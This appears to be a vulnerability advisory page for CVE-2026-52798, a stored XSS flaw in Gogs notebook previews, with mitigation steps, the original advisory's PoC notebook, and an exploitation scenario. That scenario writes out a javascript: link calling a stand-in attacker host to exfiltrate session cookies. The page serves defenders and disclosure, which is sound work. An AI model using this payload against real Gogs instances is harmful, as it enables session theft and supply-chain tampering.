Gogs versions up to 0.14.2 contain a stored XSS vulnerability in Jupyter Notebook file previews where server-side HTML sanitization via the /-/api/sanitize_ipynb endpoint is defeated by a subsequent client-side re-render of Markdown cells using marked(), allowing javascript: scheme links to survive and execute when a victim clicks them. With a CVSS of 8.9, 2,954 downstream dependents, and no Content Security Policy on standard HTML pages, any low-privileged Gogs user can persist a payload that compromises any account that views the repository — including administrators who could grant instance-wide access. This CVE is not in CISA KEV and EPSS data is not yet available given its June 22 publication date, but the trivial exploitation bar — a single crafted .ipynb file and one victim click, with no complex prerequisites — makes this an immediate patch-now priority for any organization using Gogs in AI/ML development workflows. Upgrade to Gogs v0.14.3 immediately; as a temporary control, restrict write access to repositories containing .ipynb files to trusted users and audit Markdown cells in recently committed notebooks for javascript: scheme links.
What is the risk?
High risk for organizations using Gogs as a shared AI/ML development platform. The CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L vector reflects low attack complexity, low privilege requirements, and changed scope — meaning a compromised account can affect resources beyond the immediate repository. The absence of CSP on Gogs HTML pages removes the browser-level defense that would otherwise block inline script execution. Administrator account compromise escalates impact to instance-wide configuration manipulation, user management, and potential supply chain contamination of shared AI model repositories. The 17 prior CVEs in this package and a 5.8/10 OpenSSF Scorecard indicate a pattern of security debt.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Jupyter Notebook | go | <= 0.14.2 | 0.14.3 |
Do you use Jupyter Notebook? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Patch immediately: upgrade to Gogs v0.14.3 (fix in commit 17b168b11ca759a7550e1f4bbd68bbde14db7785, PR #8319).
-
If patching is blocked, restrict repository write access to vetted trusted users — prevent untrusted accounts from committing .ipynb files.
-
Add a Content Security Policy header (e.g., default-src 'self'; script-src 'self') to all Gogs HTML responses as defense-in-depth.
-
Audit recently committed .ipynb files for javascript: scheme links in Markdown cell source arrays.
-
Review Gogs session and audit logs for unusual actions (settings changes, API key creation, collaborator additions) taken by accounts that may have viewed attacker-controlled repositories.
-
Consider disabling .ipynb preview rendering at the web server level until the patch is applied.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-52798?
Gogs versions up to 0.14.2 contain a stored XSS vulnerability in Jupyter Notebook file previews where server-side HTML sanitization via the /-/api/sanitize_ipynb endpoint is defeated by a subsequent client-side re-render of Markdown cells using marked(), allowing javascript: scheme links to survive and execute when a victim clicks them. With a CVSS of 8.9, 2,954 downstream dependents, and no Content Security Policy on standard HTML pages, any low-privileged Gogs user can persist a payload that compromises any account that views the repository — including administrators who could grant instance-wide access. This CVE is not in CISA KEV and EPSS data is not yet available given its June 22 publication date, but the trivial exploitation bar — a single crafted .ipynb file and one victim click, with no complex prerequisites — makes this an immediate patch-now priority for any organization using Gogs in AI/ML development workflows. Upgrade to Gogs v0.14.3 immediately; as a temporary control, restrict write access to repositories containing .ipynb files to trusted users and audit Markdown cells in recently committed notebooks for javascript: scheme links.
Is CVE-2026-52798 actively exploited?
No confirmed active exploitation of CVE-2026-52798 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-52798?
1. Patch immediately: upgrade to Gogs v0.14.3 (fix in commit 17b168b11ca759a7550e1f4bbd68bbde14db7785, PR #8319). 2. If patching is blocked, restrict repository write access to vetted trusted users — prevent untrusted accounts from committing .ipynb files. 3. Add a Content Security Policy header (e.g., default-src 'self'; script-src 'self') to all Gogs HTML responses as defense-in-depth. 4. Audit recently committed .ipynb files for javascript: scheme links in Markdown cell source arrays. 5. Review Gogs session and audit logs for unusual actions (settings changes, API key creation, collaborator additions) taken by accounts that may have viewed attacker-controlled repositories. 6. Consider disabling .ipynb preview rendering at the web server level until the patch is applied.
What systems are affected by CVE-2026-52798?
This vulnerability affects the following AI/ML architecture patterns: AI/ML development platforms using self-hosted Git, Jupyter notebook collaboration workflows, MLOps pipelines with shared code repositories, Training pipelines with Gogs-hosted scripts and model code.
What is the CVSS score for CVE-2026-52798?
CVE-2026-52798 has a CVSS v3.1 base score of 8.9 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0011.003 Malicious Link AML.T0025 Exfiltration via Cyber Means AML.T0048.003 User Harm AML.T0049 Exploit Public-Facing Application Compliance Controls Affected
What are the technical details?
Original Advisory
# Summary Although `.ipynb` previews are sanitized on the server side via `/-/api/sanitize_ipynb`, the inserted content is **re-rendered on the client side without sanitization** using `marked()` on elements with the `.nb-markdown-cell` class. During this process, links containing schemes such as `javascript:` can be regenerated. As a result, when a victim views an attacker-crafted `.ipynb` file and clicks the link, **arbitrary JavaScript is executed in the Gogs origin**, leading to a click-based Stored XSS. # Details After the rendered output of a `.ipynb` file is sanitized via `/-/api/sanitize_ipynb` and inserted into the DOM, **only the Markdown cell portions are re-rendered using `marked()` and overwritten in the DOM**. During this process, links with the `javascript:` scheme can be regenerated. `templates/repo/view_file.tmpl:42–71` ```html {{else if .IsIPythonNotebook}} <script> $.getJSON("{{.RawFileLink}}", null, function(notebook_json) { var notebook = nb.parse(notebook_json); var rendered = notebook.render(); $.ajax({ type: "POST", url: '{{AppSubURL}}/-/api/sanitize_ipynb', data: rendered.outerHTML, processData: false, contentType: false, }).done(function(data) { $("#ipython-notebook").append(data); $("#ipython-notebook code").each(function(i, block) { $(block).addClass("py").addClass("python"); hljs.highlightBlock(block); }); // Overwrite image method to append proper prefix to the source URL var renderer = new marked.Renderer(); var context = '{{.RawFileLink}}'; context = context.substring(0, context.lastIndexOf("/")); renderer.image = function (href, title, text) { return `<img src="${context}/${href}"` }; $("#ipython-notebook .nb-markdown-cell").each(function(i, markdown) { $(markdown).html(marked($(markdown).html(), {renderer: renderer})); }); }); }); </script> ``` While **regular HTML pages (including `.ipynb` preview pages)** are served **without a Content Security Policy (CSP)**, CSP headers are applied **only to attachment delivery routes**. `internal/cmd/web.go:323` ```go c.Header().Set("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; sandbox") ``` # Steps to Reproduce 1. As the attacker, add and push/commit a `.ipynb` file containing a `javascript:` link in a Markdown cell to a repository. * Example (PoC): ```json { "nbformat": 4, "nbformat_minor": 2, "metadata": {}, "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "[poc](javascript:alert(document.domain))" ] } ] } ``` 2. The victim opens the file on Gogs (e.g., `/<user>/<repo>/src/<branch>/poc.ipynb`). <img width="2386" height="1218" alt="image" src="https://github.com/user-attachments/assets/b0d93fd8-c5ca-4058-8af0-98dee590d3ad" /> 3. When the victim clicks the `poc` link displayed in the preview, `alert(document.domain)` is executed in the same Gogs origin. <img width="2390" height="1388" alt="image" src="https://github.com/user-attachments/assets/0eb6ebe8-632c-4a41-8a11-46471514b4c4" /> # Minimum Required Privileges * **Attacker**: Ability to place a `.ipynb` file as a **regular (non-admin) user** * For example: a general user who can create a public repository and add files. * Or: write access (collaborator, etc.) to an existing repository that the victim will view. * **Victim**: Permission to view the repository (a click is required). # Impact * Unauthorized actions performed with the victim’s account privileges (e.g., repository settings changes, Issue operations,誘導 to token creation). * Theft of information accessible to the victim (repository/Issue/Wiki contents, tokens exposed in page context). * If the victim is an administrator, the impact may escalate to instance-wide configuration changes and user management.
Exploitation Scenario
An attacker registers a standard Gogs account and creates a public repository containing a crafted poc.ipynb file with a Markdown cell embedding [click here](javascript:fetch('https://c2.attacker.com/?t='+document.cookie)). The attacker promotes the repository link in relevant communities (AI/ML forums, Slack channels, GitHub cross-references) targeting data scientists or Gogs administrators at victim organizations. When a target views the .ipynb preview at /<user>/<repo>/src/<branch>/poc.ipynb and clicks the visually innocuous link, the JavaScript executes in the Gogs origin, exfiltrating the session cookie. The attacker replays the stolen token to impersonate the victim, commits backdoored training scripts to production ML repositories, or creates permanent API tokens for persistent access — completing a supply chain compromise without any elevated privilege.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L References
Timeline
Related Vulnerabilities
CVE-2026-42266 8.8 JupyterLab: Extension allow-list bypass enables privesc
Same package: notebook CVE-2026-5422 8.1 jupyter-server: path traversal exposes sibling dir files
Same package: notebook CVE-2018-8768 7.8 Jupyter Notebook: XSS via malicious .ipynb file
Same package: notebook CVE-2026-54293 7.5 NLTK: path traversal leaks arbitrary local files
Same package: notebook CVE-2026-35397 7.1 Jupyter Server: path traversal leaks sibling directories
Same package: notebook